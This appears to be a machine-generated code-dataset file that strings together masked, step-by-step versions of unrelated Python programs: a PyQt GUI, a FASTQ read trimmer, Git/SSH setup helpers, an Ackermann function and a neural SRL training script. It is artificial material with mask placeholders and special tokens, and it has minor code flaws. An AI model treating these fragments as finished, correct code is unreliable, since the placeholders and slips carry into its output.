"step-5": "import sys\nfrom collections import namedtuple\nfrom PyQt5.QtWidgets import QApplication, QWidget, QMainWindow, \\\n QHBoxLayout, QStackedWidget, QListWidget, QListWidgetItem\nfrom PyQt5.QtCore import Qt, QSize\n\nfrom runWidget import RunWidget\nfrom recordWidget import RecordWidget\n\n\ndef QListWidget_qss():\n return '''\n QListWidget{\n outline: 0px;\n }\n\n QListWidget {\n min-width: 30px;\n max-width: 50px;\n color: Black;\n background: #CCCCCC;\n }\n\n QListWidget::Item:selected {\n background: #888888;\n border-left: 5px solid red;\n }\n HistoryPanel:hover {\n background: rgb(52, 52, 52);\n }\n '''\n\n\nclass MainCentralWidget(QWidget):\n def __init__(self):\n super().__init__()\n tab_bar = self.getTabBar(('录制', '运行'))\n tab_page = self.getTabPage()\n tab_bar.currentRowChanged.connect(tab_page.setCurrentIndex)\n hbox = QHBoxLayout(spacing=0)\n hbox.setContentsMargins(0, 0, 0, 0)\n hbox.addWidget(tab_bar)\n hbox.addWidget(tab_page)\n self.setLayout(hbox)\n \n def getTabBar(self, names):\n tab_bar = QListWidget()\n tab_bar.setStyleSheet(QListWidget_qss())\n tab_bar.setFrameShape(QListWidget.NoFrame)\n tab_bar.setItemAlignment(Qt.AlignCenter)\n tab_bar.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)\n for name in names:\n item = QListWidgetItem(name)\n item.setTextAlignment(Qt.AlignCenter)\n item.setSizeHint(QSize(50, 50))\n tab_bar.addItem(item)\n tab_bar.setCurrentRow(0)\n return tab_bar\n\n def getTabPage(self):\n tab_page = QStackedWidget()\n tab_page.addWidget(RecordWidget())\n tab_page.addWidget(RunWidget())\n return tab_page\n\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n self.setGeometry(50, 50, 900, 300)\n self.setWindowTitle('AutoMouse')\n self.setCentralWidget(MainCentralWidget())\n self.show()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n main_window = MainWindow()\n sys.exit(app.exec_())",
"step-ids": [
5,
6,
7,
9,
10
]
}
|
[
5,
6,
7,
9,
10
] |
<|reserved_special_token_0|>
def main():
trim = sys.stdin.read()
if len(sys.argv) > 7:
trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv
[4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)
else:
print(
'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'
)
sys.exit()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def trim_reads(fastq, selection, extra_cut, orientation, output, outputType,
seqLen, trim):
ids = []
with open(selection, 'r') as f:
for line in f:
ids.append(line.strip())
trim_pros = {}
for line in trim.split('\n'):
if len(line):
line = line.split('\t')
if line[0] == 'read name':
if line[1] == 'end position' and orientation != 3 or line[1
] == 'start position' and orientation != 5:
print(
"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position."
)
sys.exit()
else:
trim_pros[line[0]] = int(line[1])
with open(output, 'w') as o:
with open(fastq, 'r') as f:
while True:
identifier = f.readline()
sequence = f.readline()
plus = f.readline()
quality = f.readline()
if not identifier or not sequence or not plus or not quality:
break
read_id = identifier.strip()[1:].split(' ')[0]
if read_id in ids:
if read_id in trim_pros:
if orientation == 3:
cut = trim_pros[read_id] + extra_cut
sequence = sequence[cut:cut + seqLen].strip()
quality = quality[cut:cut + seqLen].strip()
if orientation == 5:
cut = trim_pros[read_id] - extra_cut
sequence = sequence[max(cut - seqLen, 0):cut]
quality = quality[max(cut - seqLen, 0):cut]
if len(sequence) >= seqLen:
if outputType == 'fasta':
o.write('>' + identifier[1:])
o.write(sequence[:seqLen] + '\n')
else:
o.write(identifier)
o.write(sequence[:seqLen] + '\n')
o.write(plus)
o.write(quality[:seqLen] + '\n')
def main():
trim = sys.stdin.read()
if len(sys.argv) > 7:
trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv
[4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)
else:
print(
'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'
)
sys.exit()
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def trim_reads(fastq, selection, extra_cut, orientation, output, outputType,
seqLen, trim):
ids = []
with open(selection, 'r') as f:
for line in f:
ids.append(line.strip())
trim_pros = {}
for line in trim.split('\n'):
if len(line):
line = line.split('\t')
if line[0] == 'read name':
if line[1] == 'end position' and orientation != 3 or line[1
] == 'start position' and orientation != 5:
print(
"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position."
)
sys.exit()
else:
trim_pros[line[0]] = int(line[1])
with open(output, 'w') as o:
with open(fastq, 'r') as f:
while True:
identifier = f.readline()
sequence = f.readline()
plus = f.readline()
quality = f.readline()
if not identifier or not sequence or not plus or not quality:
break
read_id = identifier.strip()[1:].split(' ')[0]
if read_id in ids:
if read_id in trim_pros:
if orientation == 3:
cut = trim_pros[read_id] + extra_cut
sequence = sequence[cut:cut + seqLen].strip()
quality = quality[cut:cut + seqLen].strip()
if orientation == 5:
cut = trim_pros[read_id] - extra_cut
sequence = sequence[max(cut - seqLen, 0):cut]
quality = quality[max(cut - seqLen, 0):cut]
if len(sequence) >= seqLen:
if outputType == 'fasta':
o.write('>' + identifier[1:])
o.write(sequence[:seqLen] + '\n')
else:
o.write(identifier)
o.write(sequence[:seqLen] + '\n')
o.write(plus)
o.write(quality[:seqLen] + '\n')
def main():
trim = sys.stdin.read()
if len(sys.argv) > 7:
trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv
[4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)
else:
print(
'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'
)
sys.exit()
if __name__ == '__main__':
main()
<|reserved_special_token_1|>
import sys
def trim_reads(fastq, selection, extra_cut, orientation, output, outputType,
seqLen, trim):
ids = []
with open(selection, 'r') as f:
for line in f:
ids.append(line.strip())
trim_pros = {}
for line in trim.split('\n'):
if len(line):
line = line.split('\t')
if line[0] == 'read name':
if line[1] == 'end position' and orientation != 3 or line[1
] == 'start position' and orientation != 5:
print(
"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position."
)
sys.exit()
else:
trim_pros[line[0]] = int(line[1])
with open(output, 'w') as o:
with open(fastq, 'r') as f:
while True:
identifier = f.readline()
sequence = f.readline()
plus = f.readline()
quality = f.readline()
if not identifier or not sequence or not plus or not quality:
break
read_id = identifier.strip()[1:].split(' ')[0]
if read_id in ids:
if read_id in trim_pros:
if orientation == 3:
cut = trim_pros[read_id] + extra_cut
sequence = sequence[cut:cut + seqLen].strip()
quality = quality[cut:cut + seqLen].strip()
if orientation == 5:
cut = trim_pros[read_id] - extra_cut
sequence = sequence[max(cut - seqLen, 0):cut]
quality = quality[max(cut - seqLen, 0):cut]
if len(sequence) >= seqLen:
if outputType == 'fasta':
o.write('>' + identifier[1:])
o.write(sequence[:seqLen] + '\n')
else:
o.write(identifier)
o.write(sequence[:seqLen] + '\n')
o.write(plus)
o.write(quality[:seqLen] + '\n')
def main():
trim = sys.stdin.read()
if len(sys.argv) > 7:
trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv
[4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)
else:
print(
'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'
)
sys.exit()
if __name__ == '__main__':
main()
<|reserved_special_token_1|>
#!/usr/bin/env python
import sys
def trim_reads(fastq, selection, extra_cut, orientation, output, outputType,
seqLen, trim):
# Store all read/sequence ids that did not match with KoRV
ids = []
with open(selection, 'r') as f:
for line in f:
ids.append(line.strip())
# Store trimming position for each read/sequence id
trim_pros = {}
for line in trim.split('\n'):
if len(line):
line = line.split('\t')
if (line[0] == 'read name'):
if (line[1] == 'end position' and orientation != 3) or \
(line[1] == 'start position' and orientation != 5):
print('Wrong setting! 3\' trimming needs the end position'
'and 3\' trimming needs the start position.')
sys.exit()
else:
trim_pros[line[0]] = int(line[1])
# Read fastq file line by line and copy a sequence to a new fastq file if:
# 1. Read did not align against KoRV (id is in selection)
# 2. Line is not blank
# 3. Sequence length is greater than the given seqLen
with open(output, 'w') as o:
with open(fastq, 'r') as f:
while True:
identifier = f.readline()
sequence = f.readline()
plus = f.readline()
quality = f.readline()
if not identifier or not sequence or \
not plus or not quality:
break
read_id = identifier.strip()[1:].split(' ')[0]
if read_id in ids:
if read_id in trim_pros:
if (orientation == 3):
cut = trim_pros[read_id] + extra_cut
sequence = sequence[cut:(cut + seqLen)].strip()
quality = quality[cut:(cut + seqLen)].strip()
if (orientation == 5):
cut = trim_pros[read_id] - extra_cut
sequence = sequence[max(cut - seqLen, 0):cut]
quality = quality[max(cut - seqLen, 0):cut]
if (len(sequence) >= seqLen):
if (outputType == 'fasta'):
o.write('>' + identifier[1:])
o.write(sequence[:seqLen] + '\n')
else:
o.write(identifier)
o.write(sequence[:seqLen] + '\n')
o.write(plus)
o.write(quality[:seqLen] + '\n')
#############
# MAIN #
#############
def main():
trim = sys.stdin.read()
if len(sys.argv) > 7:
trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]),
int(sys.argv[4]), sys.argv[5], sys.argv[6],
int(sys.argv[7]), trim)
else:
print("trim_reads.py [fastq] [selection] [extracut] [orientation] "
"[output] [format] [maxlen] < [trimming-info]")
sys.exit()
if __name__ == "__main__":
main()
|
flexible
|
{
"blob_id": "3f3ed40bf800eddb2722171d5fd94f6c292162de",
"index": 5865,
"step-1": "<mask token>\n\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv\n [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)\n else:\n print(\n 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'\n )\n sys.exit()\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef trim_reads(fastq, selection, extra_cut, orientation, output, outputType,\n seqLen, trim):\n ids = []\n with open(selection, 'r') as f:\n for line in f:\n ids.append(line.strip())\n trim_pros = {}\n for line in trim.split('\\n'):\n if len(line):\n line = line.split('\\t')\n if line[0] == 'read name':\n if line[1] == 'end position' and orientation != 3 or line[1\n ] == 'start position' and orientation != 5:\n print(\n \"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position.\"\n )\n sys.exit()\n else:\n trim_pros[line[0]] = int(line[1])\n with open(output, 'w') as o:\n with open(fastq, 'r') as f:\n while True:\n identifier = f.readline()\n sequence = f.readline()\n plus = f.readline()\n quality = f.readline()\n if not identifier or not sequence or not plus or not quality:\n break\n read_id = identifier.strip()[1:].split(' ')[0]\n if read_id in ids:\n if read_id in trim_pros:\n if orientation == 3:\n cut = trim_pros[read_id] + extra_cut\n sequence = sequence[cut:cut + seqLen].strip()\n quality = quality[cut:cut + seqLen].strip()\n if orientation == 5:\n cut = trim_pros[read_id] - extra_cut\n sequence = sequence[max(cut - seqLen, 0):cut]\n quality = quality[max(cut - seqLen, 0):cut]\n if len(sequence) >= seqLen:\n if outputType == 'fasta':\n o.write('>' + identifier[1:])\n o.write(sequence[:seqLen] + '\\n')\n else:\n o.write(identifier)\n o.write(sequence[:seqLen] + '\\n')\n o.write(plus)\n o.write(quality[:seqLen] + '\\n')\n\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv\n [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)\n else:\n print(\n 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'\n )\n sys.exit()\n\n\n<mask token>\n",
"step-3": "<mask token>\n\n\ndef trim_reads(fastq, selection, extra_cut, orientation, output, outputType,\n seqLen, trim):\n ids = []\n with open(selection, 'r') as f:\n for line in f:\n ids.append(line.strip())\n trim_pros = {}\n for line in trim.split('\\n'):\n if len(line):\n line = line.split('\\t')\n if line[0] == 'read name':\n if line[1] == 'end position' and orientation != 3 or line[1\n ] == 'start position' and orientation != 5:\n print(\n \"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position.\"\n )\n sys.exit()\n else:\n trim_pros[line[0]] = int(line[1])\n with open(output, 'w') as o:\n with open(fastq, 'r') as f:\n while True:\n identifier = f.readline()\n sequence = f.readline()\n plus = f.readline()\n quality = f.readline()\n if not identifier or not sequence or not plus or not quality:\n break\n read_id = identifier.strip()[1:].split(' ')[0]\n if read_id in ids:\n if read_id in trim_pros:\n if orientation == 3:\n cut = trim_pros[read_id] + extra_cut\n sequence = sequence[cut:cut + seqLen].strip()\n quality = quality[cut:cut + seqLen].strip()\n if orientation == 5:\n cut = trim_pros[read_id] - extra_cut\n sequence = sequence[max(cut - seqLen, 0):cut]\n quality = quality[max(cut - seqLen, 0):cut]\n if len(sequence) >= seqLen:\n if outputType == 'fasta':\n o.write('>' + identifier[1:])\n o.write(sequence[:seqLen] + '\\n')\n else:\n o.write(identifier)\n o.write(sequence[:seqLen] + '\\n')\n o.write(plus)\n o.write(quality[:seqLen] + '\\n')\n\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv\n [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)\n else:\n print(\n 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'\n )\n sys.exit()\n\n\nif __name__ == '__main__':\n main()\n",
"step-4": "import sys\n\n\ndef trim_reads(fastq, selection, extra_cut, orientation, output, outputType,\n seqLen, trim):\n ids = []\n with open(selection, 'r') as f:\n for line in f:\n ids.append(line.strip())\n trim_pros = {}\n for line in trim.split('\\n'):\n if len(line):\n line = line.split('\\t')\n if line[0] == 'read name':\n if line[1] == 'end position' and orientation != 3 or line[1\n ] == 'start position' and orientation != 5:\n print(\n \"Wrong setting! 3' trimming needs the end positionand 3' trimming needs the start position.\"\n )\n sys.exit()\n else:\n trim_pros[line[0]] = int(line[1])\n with open(output, 'w') as o:\n with open(fastq, 'r') as f:\n while True:\n identifier = f.readline()\n sequence = f.readline()\n plus = f.readline()\n quality = f.readline()\n if not identifier or not sequence or not plus or not quality:\n break\n read_id = identifier.strip()[1:].split(' ')[0]\n if read_id in ids:\n if read_id in trim_pros:\n if orientation == 3:\n cut = trim_pros[read_id] + extra_cut\n sequence = sequence[cut:cut + seqLen].strip()\n quality = quality[cut:cut + seqLen].strip()\n if orientation == 5:\n cut = trim_pros[read_id] - extra_cut\n sequence = sequence[max(cut - seqLen, 0):cut]\n quality = quality[max(cut - seqLen, 0):cut]\n if len(sequence) >= seqLen:\n if outputType == 'fasta':\n o.write('>' + identifier[1:])\n o.write(sequence[:seqLen] + '\\n')\n else:\n o.write(identifier)\n o.write(sequence[:seqLen] + '\\n')\n o.write(plus)\n o.write(quality[:seqLen] + '\\n')\n\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]), int(sys.argv\n [4]), sys.argv[5], sys.argv[6], int(sys.argv[7]), trim)\n else:\n print(\n 'trim_reads.py [fastq] [selection] [extracut] [orientation] [output] [format] [maxlen] < [trimming-info]'\n )\n sys.exit()\n\n\nif __name__ == '__main__':\n main()\n",
"step-5": "#!/usr/bin/env python\nimport sys\n\n\ndef trim_reads(fastq, selection, extra_cut, orientation, output, outputType,\n seqLen, trim):\n\n # Store all read/sequence ids that did not match with KoRV\n ids = []\n with open(selection, 'r') as f:\n for line in f:\n ids.append(line.strip())\n\n # Store trimming position for each read/sequence id\n trim_pros = {}\n for line in trim.split('\\n'):\n if len(line):\n line = line.split('\\t')\n if (line[0] == 'read name'):\n if (line[1] == 'end position' and orientation != 3) or \\\n (line[1] == 'start position' and orientation != 5):\n print('Wrong setting! 3\\' trimming needs the end position'\n 'and 3\\' trimming needs the start position.')\n sys.exit()\n else:\n trim_pros[line[0]] = int(line[1])\n\n # Read fastq file line by line and copy a sequence to a new fastq file if:\n # 1. Read did not align against KoRV (id is in selection)\n # 2. Line is not blank\n # 3. Sequence length is greater than the given seqLen\n with open(output, 'w') as o:\n with open(fastq, 'r') as f:\n while True:\n identifier = f.readline()\n sequence = f.readline()\n plus = f.readline()\n quality = f.readline()\n\n if not identifier or not sequence or \\\n not plus or not quality:\n break\n\n read_id = identifier.strip()[1:].split(' ')[0]\n\n if read_id in ids:\n if read_id in trim_pros:\n if (orientation == 3):\n cut = trim_pros[read_id] + extra_cut\n sequence = sequence[cut:(cut + seqLen)].strip()\n quality = quality[cut:(cut + seqLen)].strip()\n if (orientation == 5):\n cut = trim_pros[read_id] - extra_cut\n sequence = sequence[max(cut - seqLen, 0):cut]\n quality = quality[max(cut - seqLen, 0):cut]\n\n if (len(sequence) >= seqLen):\n if (outputType == 'fasta'):\n o.write('>' + identifier[1:])\n o.write(sequence[:seqLen] + '\\n')\n else:\n o.write(identifier)\n o.write(sequence[:seqLen] + '\\n')\n o.write(plus)\n o.write(quality[:seqLen] + '\\n')\n\n\n#############\n# MAIN #\n#############\n\ndef main():\n trim = sys.stdin.read()\n if len(sys.argv) > 7:\n trim_reads(sys.argv[1], sys.argv[2], int(sys.argv[3]),\n int(sys.argv[4]), sys.argv[5], sys.argv[6],\n int(sys.argv[7]), trim)\n else:\n print(\"trim_reads.py [fastq] [selection] [extracut] [orientation] \"\n \"[output] [format] [maxlen] < [trimming-info]\")\n sys.exit()\n\nif __name__ == \"__main__\":\n main()\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
import logging
import subprocess
from pathlib import Path
from typing import Union
from git import Repo
def init_repo(metadata: str, path: str, deep_clone: bool) -> Repo:
clone_path = Path(path)
if not clone_path.exists():
logging.info('Cloning %s', metadata)
repo = (Repo.clone_from(metadata, clone_path)
if deep_clone else
Repo.clone_from(metadata, clone_path, depth=1))
else:
repo = Repo(clone_path)
return repo
def init_ssh(key: str, key_path: Path) -> None:
if not key:
logging.warning('Private Key required for SSH Git')
return
logging.info('Private Key found, writing to disk')
key_path.mkdir(exist_ok=True)
key_file = Path(key_path, 'id_rsa')
if not key_file.exists():
key_file.write_text(f'{key}\n', encoding='UTF-8')
key_file.chmod(0o400)
scan = subprocess.run([
'ssh-keyscan', '-t', 'rsa', 'github.com'
], stdout=subprocess.PIPE, check=False)
Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'), encoding='UTF-8')
def repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) -> bool:
if repo.working_dir:
relative_file = Path(filename).relative_to(repo.working_dir).as_posix()
if relative_file in repo.untracked_files:
return True
if relative_file in [
x.a_path for x in repo.index.diff(None)]:
return True
return False
|
normal
|
{
"blob_id": "cb2dd08a09d2e39bd83f82940c3d9a79a5a27918",
"index": 6523,
"step-1": "<mask token>\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\n<mask token>\n",
"step-2": "<mask token>\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n",
"step-3": "<mask token>\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) ->Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = Repo.clone_from(metadata, clone_path\n ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n",
"step-4": "import logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Union\nfrom git import Repo\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) ->Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = Repo.clone_from(metadata, clone_path\n ) if deep_clone else Repo.clone_from(metadata, clone_path, depth=1)\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) ->None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(256)\n scan = subprocess.run(['ssh-keyscan', '-t', 'rsa', 'github.com'],\n stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'\n ), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) ->bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n",
"step-5": "import logging\nimport subprocess\nfrom pathlib import Path\nfrom typing import Union\nfrom git import Repo\n\n\ndef init_repo(metadata: str, path: str, deep_clone: bool) -> Repo:\n clone_path = Path(path)\n if not clone_path.exists():\n logging.info('Cloning %s', metadata)\n repo = (Repo.clone_from(metadata, clone_path)\n if deep_clone else\n Repo.clone_from(metadata, clone_path, depth=1))\n else:\n repo = Repo(clone_path)\n return repo\n\n\ndef init_ssh(key: str, key_path: Path) -> None:\n if not key:\n logging.warning('Private Key required for SSH Git')\n return\n logging.info('Private Key found, writing to disk')\n key_path.mkdir(exist_ok=True)\n key_file = Path(key_path, 'id_rsa')\n if not key_file.exists():\n key_file.write_text(f'{key}\\n', encoding='UTF-8')\n key_file.chmod(0o400)\n scan = subprocess.run([\n 'ssh-keyscan', '-t', 'rsa', 'github.com'\n ], stdout=subprocess.PIPE, check=False)\n Path(key_path, 'known_hosts').write_text(scan.stdout.decode('utf-8'), encoding='UTF-8')\n\n\ndef repo_file_add_or_changed(repo: Repo, filename: Union[str, Path]) -> bool:\n if repo.working_dir:\n relative_file = Path(filename).relative_to(repo.working_dir).as_posix()\n if relative_file in repo.untracked_files:\n return True\n if relative_file in [\n x.a_path for x in repo.index.diff(None)]:\n return True\n return False\n",
"step-ids": [
1,
2,
3,
4,
5
]
}
|
[
1,
2,
3,
4,
5
] |
# coding: utf-8
#ack program with the ackermann_function
""" ackermann_function """
def ack(m,n):
#n+1 if m = 0
if m is 0:
return n + 1
#A(m−1, 1) if m > 0 and n = 0
if m > 0 and n is 0:
return ack(m-1, 1)
#A(m−1, A(m, n−1)) if m > 0 and n > 0
if m > 0 and n > 0:
return ack(m-1, ack(m, n - 1))
if __name__ == "__main__":
expected = [[1,2,3,4,5],
[2,3,4,5,6],
[3,5,7,9,11],
[5,13,29,61,125]]
ok = True
for m in range(4):
for n in range(5):
actual = ack(m,n)
if not actual == expected[m][n]:
print "error"
ok = False
if ok:
print "All tests pass"
|
normal
|
{
"blob_id": "0ecd2a298203365b20b2369a99c3c1d7c0646f19",
"index": 34,
"step-1": "# coding: utf-8\n#ack program with the ackermann_function\n\n\"\"\" ackermann_function \"\"\"\ndef ack(m,n):\n #n+1 if m = 0\n if m is 0:\n \treturn n + 1\n #A(m−1, 1) if m > 0 and n = 0 \n if m > 0 and n is 0:\n \treturn ack(m-1, 1)\n #A(m−1, A(m, n−1)) if m > 0 and n > 0\n if m > 0 and n > 0:\n \treturn ack(m-1, ack(m, n - 1))\n\nif __name__ == \"__main__\":\n\texpected = [[1,2,3,4,5],\n\t\t\t\t[2,3,4,5,6],\n\t\t\t\t[3,5,7,9,11],\n\t\t\t\t[5,13,29,61,125]]\n\tok = True\n\tfor m in range(4):\n\t\tfor n in range(5):\n\t\t\tactual = ack(m,n)\n\t\t\tif not actual == expected[m][n]:\n\t\t\t\tprint \"error\"\n\t\t\t\tok = False\n\tif ok:\n\t\tprint \"All tests pass\"\n\n\t",
"step-2": null,
"step-3": null,
"step-4": null,
"step-5": null,
"step-ids": [
0
]
}
|
[
0
] |
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
def train(num_epochs=30):
lossfunction = nn.CrossEntropyLoss()
trainset = TrainDataSet()
model = BiAffineSrlModel(vocabs=trainset.vocabs)
optimizer = torch.optim.Adam(model.parameters(), lr=0.01)
since = time.time()
best_model_wts = copy.deepcopy(model.state_dict())
best_f = FScore()
for epoch in range(num_epochs):
print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)
print('-' * 10, file=sys.stderr)
for phase in ['train', 'dev']:
model.train(phase == 'train')
running_loss = 0.0
running_f = FScore()
for sentence in pb.progressbar(trainset.get_set(phase)):
model.zero_grad()
role_p = model(*sentence['inputs'])
_, predict = torch.max(role_p, 1)
loss = lossfunction(role_p, autograd.Variable(sentence[
'targets'][0]))
if phase == 'train':
loss.backward()
optimizer.step()
if epoch > 28:
print(predict.data)
print(sentence['targets'][0])
running_loss += loss.data[0]
running_f.update(predict, sentence['targets'][0])
print('\n{} Loss: {:.4f} {}'.format(phase, running_loss,
running_f), file=sys.stderr)
if phase == 'dev' and running_f > best_f:
best_f = running_f
best_model_wts = copy.deepcopy(model.state_dict())
print('', file=sys.stderr)
time_elapsed = time.time() - since
print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,
time_elapsed % 60), file=sys.stderr)
print('Best val F: {}s'.format(best_f), file=sys.stderr)
model.load_state_dict(best_model_wts)
return model
<|reserved_special_token_0|>
<|reserved_special_token_1|>
<|reserved_special_token_0|>
config.add_option('-m', '--mode', dest='mode', default='train', type=
'string', help='[train|eval|pred]', action='store')
config.add_option('--seed', dest='seed', default=1, type='int', help=
'torch random seed', action='store')
def train(num_epochs=30):
lossfunction = nn.CrossEntropyLoss()
trainset = TrainDataSet()
model = BiAffineSrlModel(vocabs=trainset.vocabs)
optimizer = torch.optim.Adam(model.parameters(), lr=0.01)
since = time.time()
best_model_wts = copy.deepcopy(model.state_dict())
best_f = FScore()
for epoch in range(num_epochs):
print('Epoch {}/{}'.format(epoch, num_epochs - 1), file=sys.stderr)
print('-' * 10, file=sys.stderr)
for phase in ['train', 'dev']:
model.train(phase == 'train')
running_loss = 0.0
running_f = FScore()
for sentence in pb.progressbar(trainset.get_set(phase)):
model.zero_grad()
role_p = model(*sentence['inputs'])
_, predict = torch.max(role_p, 1)
loss = lossfunction(role_p, autograd.Variable(sentence[
'targets'][0]))
if phase == 'train':
loss.backward()
optimizer.step()
if epoch > 28:
print(predict.data)
print(sentence['targets'][0])
running_loss += loss.data[0]
running_f.update(predict, sentence['targets'][0])
print('\n{} Loss: {:.4f} {}'.format(phase, running_loss,
running_f), file=sys.stderr)
if phase == 'dev' and running_f > best_f:
best_f = running_f
best_model_wts = copy.deepcopy(model.state_dict())
print('', file=sys.stderr)
time_elapsed = time.time() - since
print('Training complete in {:.0f}m {:.0f}s'.format(time_elapsed // 60,
time_elapsed % 60), file=sys.stderr)
print('Best val F: {}s'.format(best_f), file=sys.stderr)
model.load_state_dict(best_model_wts)
return model
if __name__ == '__main__':
config.parse_args()
torch.manual_seed(config.get_option('seed'))
mode = config.get_option('mode')
if mode == 'train':
train()
else:
NotImplementedError()
<|reserved_special_token_1|>
import sys
import torch
from torch import nn, autograd
import config
import time
import copy
import progressbar as pb
from dataset import TrainDataSet
from model import BiAffineSrlModel
from fscore import FScore
config.add_option('-m', '--mode', dest='mode', default='train', type=
'string', help='[train|eval|pred]', action='store')
config.add_option('--seed', dest='seed', default=1, type='int', help=
'torch random seed', action='store')
def train(num_epochs=30):
lossfunction = nn.CrossEntropyLoss()
trainset = TrainDataSet()
